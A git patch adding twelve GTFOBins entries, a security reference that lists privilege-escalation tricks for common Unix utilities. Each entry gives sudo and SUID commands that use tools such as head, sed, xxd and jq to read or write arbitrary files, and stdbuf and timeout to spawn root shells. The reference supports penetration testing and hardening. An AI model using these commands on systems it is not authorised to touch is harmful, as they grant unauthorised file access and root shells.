From 69465eb33869b8d677b15096d7ad2772f4eaa229 Mon Sep 17 00:00:00 2001 From: Dov Murik Date: Tue, 12 Jun 2018 14:06:16 +0000 Subject: [PATCH] Add expand, unexpand --- _gtfobins/expand.md | 17 +++++++++++++++++ _gtfobins/fmt.md | 17 +++++++++++++++++ _gtfobins/fold.md | 15 +++++++++++++++ _gtfobins/head.md | 15 +++++++++++++++ _gtfobins/jq.md | 15 +++++++++++++++ _gtfobins/sed.md | 15 +++++++++++++++ _gtfobins/shuf.md | 17 +++++++++++++++++ _gtfobins/stdbuf.md | 9 +++++++++ _gtfobins/tail.md | 15 +++++++++++++++ _gtfobins/timeout.md | 9 +++++++++ _gtfobins/unexpand.md | 15 +++++++++++++++ _gtfobins/xxd.md | 19 +++++++++++++++++++ 12 files changed, 178 insertions(+) create mode 100644 _gtfobins/expand.md create mode 100644 _gtfobins/fmt.md create mode 100644 _gtfobins/fold.md create mode 100644 _gtfobins/head.md create mode 100644 _gtfobins/jq.md create mode 100644 _gtfobins/sed.md create mode 100644 _gtfobins/shuf.md create mode 100644 _gtfobins/stdbuf.md create mode 100644 _gtfobins/tail.md create mode 100644 _gtfobins/timeout.md create mode 100644 _gtfobins/unexpand.md create mode 100644 _gtfobins/xxd.md diff --git a/_gtfobins/expand.md b/_gtfobins/expand.md new file mode 100644 index 0000000..a13ca84 --- /dev/null +++ b/_gtfobins/expand.md @@ -0,0 +1,17 @@ +--- +description: | + The read file content is corrupted by replacing tabs with spaces. +functions: + sudo-enabled: + - code: | + LFILE=file_to_read + sudo expand "$LFILE" + suid-enabled: + - code: | + LFILE=file_to_read + ./expand "$LFILE" + file-read: + - code: | + LFILE=file_to_read + expand "$LFILE" +--- diff --git a/_gtfobins/fmt.md b/_gtfobins/fmt.md new file mode 100644 index 0000000..028e561 --- /dev/null +++ b/_gtfobins/fmt.md @@ -0,0 +1,17 @@ +--- +description: | + The read file content is not binary-safe. +functions: + sudo-enabled: + - code: | + LFILE=file_to_read + sudo fmt -pNON_EXISTING_PREFIX "$LFILE" + suid-enabled: + - code: | + LFILE=file_to_read + ./fmt -pNON_EXISTING_PREFIX "$LFILE" + file-read: + - code: | + LFILE=file_to_read + fmt -pNON_EXISTING_PREFIX "$LFILE" +--- diff --git a/_gtfobins/fold.md b/_gtfobins/fold.md new file mode 100644 index 0000000..275b96c --- /dev/null +++ b/_gtfobins/fold.md @@ -0,0 +1,15 @@ +--- +functions: + sudo-enabled: + - code: | + LFILE=file_to_read + sudo fold -w99999999 "$LFILE" + suid-enabled: + - code: | + LFILE=file_to_read + ./fold -w99999999 "$LFILE" + file-read: + - code: | + LFILE=file_to_read + fold -w99999999 "$LFILE" +--- diff --git a/_gtfobins/head.md b/_gtfobins/head.md new file mode 100644 index 0000000..e124d68 --- /dev/null +++ b/_gtfobins/head.md @@ -0,0 +1,15 @@ +--- +functions: + sudo-enabled: + - code: | + LFILE=file_to_read + sudo head -c1G "$LFILE" + suid-enabled: + - code: | + LFILE=file_to_read + ./head -c1G "$LFILE" + file-read: + - code: | + LFILE=file_to_read + head -c1G "$LFILE" +--- diff --git a/_gtfobins/jq.md b/_gtfobins/jq.md new file mode 100644 index 0000000..cc22b9c --- /dev/null +++ b/_gtfobins/jq.md @@ -0,0 +1,15 @@ +--- +functions: + sudo-enabled: + - code: | + LFILE=file_to_read + sudo jq -Rr . "$LFILE" + suid-enabled: + - code: | + LFILE=file_to_read + ./jq -Rr . "$LFILE" + file-read: + - code: | + LFILE=file_to_read + jq -Rr . "$LFILE" +--- diff --git a/_gtfobins/sed.md b/_gtfobins/sed.md new file mode 100644 index 0000000..e6df243 --- /dev/null +++ b/_gtfobins/sed.md @@ -0,0 +1,15 @@ +--- +functions: + sudo-enabled: + - code: | + LFILE=file_to_read + sudo sed -e '' "$LFILE" + suid-enabled: + - code: | + LFILE=file_to_read + ./sed -e '' "$LFILE" + file-read: + - code: | + LFILE=file_to_read + sed -e '' "$LFILE" +--- diff --git a/_gtfobins/shuf.md b/_gtfobins/shuf.md new file mode 100644 index 0000000..318fcd2 --- /dev/null +++ b/_gtfobins/shuf.md @@ -0,0 +1,17 @@ +--- +description: The read file content is corrupted by adding a newline. +functions: + sudo-enabled: + - code: | + LFILE=file_to_write + sudo shuf -e data -o "$LFILE" + suid-enabled: + - description: + code: | + LFILE=file_to_write + ./shuf -e data -o "$LFILE" + file-write: + - code: | + LFILE=file_to_write + shuf -e data -o "$LFILE" +--- diff --git a/_gtfobins/stdbuf.md b/_gtfobins/stdbuf.md new file mode 100644 index 0000000..222d68b --- /dev/null +++ b/_gtfobins/stdbuf.md @@ -0,0 +1,9 @@ +--- +functions: + execute-interactive: + - code: stdbuf -i0 /bin/sh + sudo-enabled: + - code: sudo stdbuf -i0 /bin/sh + suid-enabled: + - code: ./stdbuf -i0 /bin/sh -p +--- diff --git a/_gtfobins/tail.md b/_gtfobins/tail.md new file mode 100644 index 0000000..73d0c97 --- /dev/null +++ b/_gtfobins/tail.md @@ -0,0 +1,15 @@ +--- +functions: + sudo-enabled: + - code: | + LFILE=file_to_read + sudo tail -c1G "$LFILE" + suid-enabled: + - code: | + LFILE=file_to_read + ./tail -c1G "$LFILE" + file-read: + - code: | + LFILE=file_to_read + tail -c1G "$LFILE" +--- diff --git a/_gtfobins/timeout.md b/_gtfobins/timeout.md new file mode 100644 index 0000000..fa50e90 --- /dev/null +++ b/_gtfobins/timeout.md @@ -0,0 +1,9 @@ +--- +functions: + execute-interactive: + - code: timeout 7d /bin/sh + sudo-enabled: + - code: sudo timeout --foreground 7d /bin/sh + suid-enabled: + - code: ./timeout 7d /bin/sh -p +--- diff --git a/_gtfobins/unexpand.md b/_gtfobins/unexpand.md new file mode 100644 index 0000000..886d27f --- /dev/null +++ b/_gtfobins/unexpand.md @@ -0,0 +1,15 @@ +--- +functions: + sudo-enabled: + - code: | + LFILE=file_to_read + sudo unexpand -t99999999 "$LFILE" + suid-enabled: + - code: | + LFILE=file_to_read + ./unexpand -t99999999 "$LFILE" + file-read: + - code: | + LFILE=file_to_read + unexpand -t99999999 "$LFILE" +--- diff --git a/_gtfobins/xxd.md b/_gtfobins/xxd.md new file mode 100644 index 0000000..c64b879 --- /dev/null +++ b/_gtfobins/xxd.md @@ -0,0 +1,19 @@ +--- +functions: + sudo-enabled: + - code: | + LFILE=file_to_read + sudo xxd "$LFILE" | xxd -r + suid-enabled: + - code: | + LFILE=file_to_read + ./xxd "$LFILE" | xxd -r + file-read: + - code: | + LFILE=file_to_read + xxd "$LFILE" | xxd -r + file-write: + - code: | + LFILE=file_to_write + echo data | xxd | xxd -r - "$LFILE" +---